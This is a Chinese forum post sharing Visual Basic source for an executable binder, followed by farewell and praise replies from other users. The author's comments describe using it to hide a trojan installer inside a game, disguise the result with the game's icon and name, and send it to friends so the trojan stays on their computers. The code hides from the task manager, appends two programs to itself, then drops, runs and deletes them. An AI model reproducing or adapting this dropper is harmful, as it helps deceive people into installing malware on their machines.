'VB也疯狂，自己生成自己，病毒？
'病毒是在程序中加入额外的代码来完成自己的使命。
'这个程序是在程序中加入额外的程序。
'如果你想给你的朋友发个大木马程序......
'如果你想把什么驻留在你朋友的电脑里......
'如果你怕你的朋友玩怀了眼睛，想提前帮他关机......
'木马我不提供、安装木马的程序我不提供。
'提供给你源代码，其实修改一下就是很好的木马安装程序。
'假设你把这个程序编译成dan.exe
'这个程序的使用方法 如：DAN pro1.exe ie.exe
'就会生成一个 dan_2.exe
'运行dan_2.exe就会依次运行pro1.exe和ie.exe,但你不再需要这两个文件。
'实例: DAN hehehe.exe game.exe
'hehehe.exe 是你的木马安装程序
'game.exe 是游戏或是安装程序
'再把dan_2.exe 换上game.exe 的图标，改名成 game.exe
'发给你的朋友，呵呵......纯属例子，请勿模仿。
'支持监测自身是否染毒的程序，以及一切运行程序。
'不支持监测自身是否改名的程序（有这么变态的程序么？）
'切记只能编译成运行程序使用，且勿调试。（如果你有好的调试方法，感激涕淋）

'dangerous.bas 无窗口程序。

'全都是为shell32bit准备
Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "Kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Sub Sleep Lib "Kernel32" (ByVal dwMilliseconds As Long)

Sub Shell32Bit(ByVal JobToDo As String) '运行一个程序直到它结束
         Dim hProcess As Long
         Dim RetVal As Long
         hProcess = OpenProcess(&H400, False, Shell(JobToDo, 1))
         Do
             GetExitCodeProcess hProcess, RetVal
             DoEvents: Sleep 100
         Loop While RetVal = &H103
End Sub
Sub Main()
 On Error Resume Next
 Dim tCom As String
 Dim tTag As Long
 Dim Add1 As Long
 Dim long1 As Long
 Dim Add2 As Long
 Dim long2 As Long
 tTag = &H76543210 '古怪的几乎不可能出现在文件结尾的值，来判断是否连接过
 Dim n As Long
 Dim pict() As Byte
 
 App.TaskVisible = False '不显示在任务管理器
 ddd = App.Path
 If Right(ddd, 1) <> "\" Then ddd = ddd & "\"
 tCom = Command()
 file1 = PickWord(tCom) '命令行输入的第一个参数
 file2 = PickWord(tCom) '命令行输入的第二个参数
 tfile = ddd & App.EXEName & ".exe"
 tfile2 = ddd & App.EXEName & "_2" & ".exe"
 FileCopy tfile, tfile2 '复制一个临时的文件

 code = FreeFile(1)
 Open tfile2 For Binary As code
  
  Seek code, FileLen(tfile2) - 19 '读出最后20个字节纪录的信息
   Get code, , Add1 '文件一地址
   Get code, , long1 '文件一尺寸
   Get code, , Add2 '文件二地址
   Get code, , long2 '文件二尺寸
   Get code, , n '是否处理过的标志
 If n = tTag Then '如果是一个处理过的文件
'解开执行
  file1 = ddd & App.EXEName & "_2a" & ".exe"
  file2 = ddd & App.EXEName & "_2b" & ".exe"
  '生成文件1
  ReDim pict(long1 - 1)
  Seek code, Add1
   Get code, , pict
  code2 = FreeFile(1)
  Open file1 For Binary As code2
   Put code2, , pict
  Close code2
  Shell32Bit file1 '执行文件1
  Kill file1 '删除文件1
  '生成文件2
  ReDim pict(long2 - 1)
  Seek code, Add2
   Get code, , pict
  code2 = FreeFile(1)
  Open file2 For Binary As code2
   Put code2, , pict
  Close code2
  Shell32Bit file2 '执行文件2
  Kill file2 '删除文件2
  
 Else
'合并文件
   '并入文件1
  Seek code, 1 + FileLen(tfile2)
   code2 = FreeFile(1)
   Open file1 For Binary As code2
    ReDim pict(FileLen(file1) - 1)
    Get code2, , pict
    Put code, , pict
   Close code2
   If Err.Number <> 0 Then GoTo errNofile
   Err.Clear
   '并入文件2
  Seek code, 1 + FileLen(tfile2) + FileLen(file1)
   code2 = FreeFile(1)
   Open file2 For Binary As code2
    ReDim pict(FileLen(file2) - 1)
    Get code2, , pict
    Put code, , pict
   Close code2
   If Err.Number <> 0 Then GoTo errNofile
   Err.Clear
   '计录状态
  Seek code, 1 + FileLen(tfile2) + FileLen(file1) + FileLen(file2)
   Add1 = 1 + FileLen(tfile2)
   long1 = FileLen(file1)
   Add2 = 1 + FileLen(tfile2) + FileLen(file1)
   long2 = FileLen(file2)
   Put code, , Add1
   Put code, , long1
   Put code, , Add2
   Put code, , long2
   Put code, , tTag
 End If
 
 Close code

If n = tTag Then Kill tfile2 '执行完毕删除临时文件
End

errNofile: '缺少连接文件
Close code '关闭临时文件
Kill tfile2 '删除临时文件
MsgBox "         找不到文件。" & Chr(13) _
     & Chr(13) _
     & "           使用方法：" & Chr(13) _
     & "APPname File1name File2name " & Chr(13) _
     & "  APPname: 本程序文件名" & Chr(13) _
     & "File1name: 连接的第一个文件" & Chr(13) _
     & "File2name: 连接的第二个文件" _
     , vbOKOnly, "错误"
End

End Sub
Public Function PickWord(strs As String) As String '挨个取出字符串中的单词
 For a = 1 To Len(strs)
  If Mid(strs, a, 1) <> " " Then ss = a:  GoTo 100
 Next a
PickWord = "": Exit Function
100
 For a = ss To Len(strs)
  If Mid(strs, a, 1) = " " Then ee = a: GoTo 200
 Next a
ee = a
200
 PickWord = Mid(strs, ss, ee - ss)
 strs = Mid(strs, ee + 1)
End Function

也许那天会再回来也说不定！
毕竟和程序有着不解之缘！

欢迎你回来

哈哈,是个好东东,兄弟我支持你

高手、高手，佩服、佩服

我能叫你一声“大侠”吗！？

离开以后才发现你是多么热爱这职业，
只有面对那违背数学逻辑（i = i + 1 之流）的天书是多么惬意的事
只有面对那......
不说了，你快回来！

     真的要走么？

谢谢各位了！为了生活！梦想不能吃的！我有空和有钱时会再出现的！

欢迎你再回来